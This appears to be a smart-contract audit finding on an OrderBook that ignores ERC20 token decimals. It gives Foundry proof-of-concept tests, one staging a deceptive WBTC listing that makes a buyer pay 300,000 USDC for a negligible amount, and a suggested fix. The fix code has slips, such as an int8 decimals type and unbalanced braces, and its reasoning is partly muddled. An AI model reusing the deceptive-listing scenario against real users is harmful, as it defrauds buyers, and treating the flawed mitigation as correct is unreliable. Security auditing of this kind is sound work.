Description
The OrderBook lacks proper token decimals normalization, which leads to mispriced orders and opens the door for deceptive trading attacks. An attacker can list low-decimal tokens at high prices, tricking buyers into overpaying. This is a critical issue for any DeFi protocol that handles multiple ERC20s with varying decimals and must be addressed both in contract logic and frontend UI.
Risk
Likelihood:
Impact:
Proof of Concept
This test highlights how the OrderBook
treats all token amounts as raw integers without adjusting for token decimals. For example:
All are given a rawAmount = 100
, which represents vastly different real values depending on the token:
-
100 WETH
= 1e-16 ETH
-
100 WBTC
= 1e-6 BTC
Despite this, the contract treats them equally. This leads to economic inconsistencies and opens the door for manipulation or unintentional overpayment.
function test_tokenDecimalsNormalizationError() public {
uint256 rawAmount = 100;
uint256 price = 1e6;
uint256 deadline = 1 days;
weth.mint(alice, rawAmount);
wbtc.mint(alice, rawAmount);
wsol.mint(alice, rawAmount);
vm.startPrank(alice);
weth.approve(address(book), rawAmount);
wbtc.approve(address(book), rawAmount);
wsol.approve(address(book), rawAmount);
uint256 wethOrderId = book.createSellOrder(address(weth), rawAmount, price, deadline);
uint256 wbtcOrderId = book.createSellOrder(address(wbtc), rawAmount, price, deadline);
uint256 wsolOrderId = book.createSellOrder(address(wsol), rawAmount, price, deadline);
vm.stopPrank();
(OrderBook.Order memory orderWETH) = book.getOrder(wethOrderId);
(OrderBook.Order memory orderWBTC) = book.getOrder(wbtcOrderId);
(OrderBook.Order memory orderWSOL) = book.getOrder(wsolOrderId);
console2.log("WETH order amount:", orderWETH.amountToSell, "decimals:", weth.decimals());
console2.log("WBTC order amount:", orderWBTC.amountToSell, "decimals:", wbtc.decimals());
console2.log("WSOL order amount:", orderWSOL.amountToSell, "decimals:", wsol.decimals());
assertEq(orderWETH.amountToSell, rawAmount);
assertEq(orderWBTC.amountToSell, rawAmount);
assertEq(orderWSOL.amountToSell, rawAmount);
}
This is an active exploit built on the flaw above.
-
Alice (attacker) lists 100 WBTC (8 decimals) for sale at a price suitable for 100 WETH (18 decimals).
-
Dan (victim) buys it, thinking he's getting 100 WETH worth of value, due to the displayed price.
-
But 100 WBTC (8 decimals) = 0.000001 WBTC in 18-decimal format.
-
Alice receives full payment (300,000 USDC), while Dan receives a negligible amount of actual value.
This is a successful value extraction attack via misrepresented token amounts caused by lack of decimal normalization.
function test_normalizationAttack_WBTCvsWETH() public {
uint256 wbtcSellAmount = 100;
uint256 price = 300_000e6;
uint256 deadline = 1 days;
wbtc.mint(alice, wbtcSellAmount);
usdc.mint(dan, price);
vm.startPrank(alice);
wbtc.approve(address(book), wbtcSellAmount);
uint256 orderId = book.createSellOrder(address(wbtc), wbtcSellAmount, price, deadline);
vm.stopPrank();
console2.log("Before buy:");
console2.log("alice USDC:", usdc.balanceOf(alice));
console2.log("dan USDC:", usdc.balanceOf(dan));
console2.log("dan WBTC:", wbtc.balanceOf(dan));
vm.startPrank(dan);
usdc.approve(address(book), price);
book.buyOrder(orderId);
vm.stopPrank();
console2.log("After buy:");
console2.log("alice USDC:", usdc.balanceOf(alice));
console2.log("dan USDC:", usdc.balanceOf(dan));
console2.log("dan WBTC:", wbtc.balanceOf(dan));
assertEq(wbtc.balanceOf(dan), wbtcSellAmount);
assert(usdc.balanceOf(alice) > 0);
}
Recommended Mitigation
function createSellOrder(
address _tokenToSell,
uint256 _amountToSell,
uint256 _priceInUSDC,
uint256 _deadlineDuration
) public returns (uint256) {
if (!allowedSellToken[_tokenToSell]) revert InvalidToken(); //token whitelist check
if (_amountToSell == 0) revert InvalidAmount();
if (_priceInUSDC == 0) revert InvalidPrice();
if (_deadlineDuration == 0 || _deadlineDuration > MAX_DEADLINE_DURATION)
revert InvalidDeadline();
+ int8 tokenDecimals = IERC20Metadata(_tokenToSell).decimals();
// Normalize to 18 decimals if token is not native 18
+ uint256 normalizedAmount = _amountToSell;
+ if (tokenDecimals < 18) {
+ uint256 factor = 10 ** (18 - tokenDecimals);
+ normalizedAmount = _amountToSell * factor;
}
uint256 deadlineTimestamp = block.timestamp + _deadlineDuration;
uint256 orderId = _nextOrderId++;
IERC20(_tokenToSell).safeTransferFrom(
msg.sender,
address(this),
_amountToSell
);
// Store the order
orders[orderId] = Order({
id: orderId,
seller: msg.sender,
tokenToSell: _tokenToSell,
+ amountToSell: normalizedAmount, // always 18-decimal scale
priceInUSDC: _priceInUSDC,
deadlineTimestamp: deadlineTimestamp,
isActive: true
});
//--------------code ----------//
}
Inside buyOrder()
denormalize it before transfer :-
uint8 tokenDecimals = IERC20Metadata(order.tokenToSell).decimals();
uint256 actualAmount = order.amountToSell;
if (tokenDecimals < 18) {
uint256 factor = 10 ** (18 - tokenDecimals);
actualAmount = order.amountToSell / factor;
} else if (tokenDecimals > 18) {
revert("Unsupported: token > 18 decimals");
}
IERC20(order.tokenToSell).safeTransfer(msg.sender, actualAmount);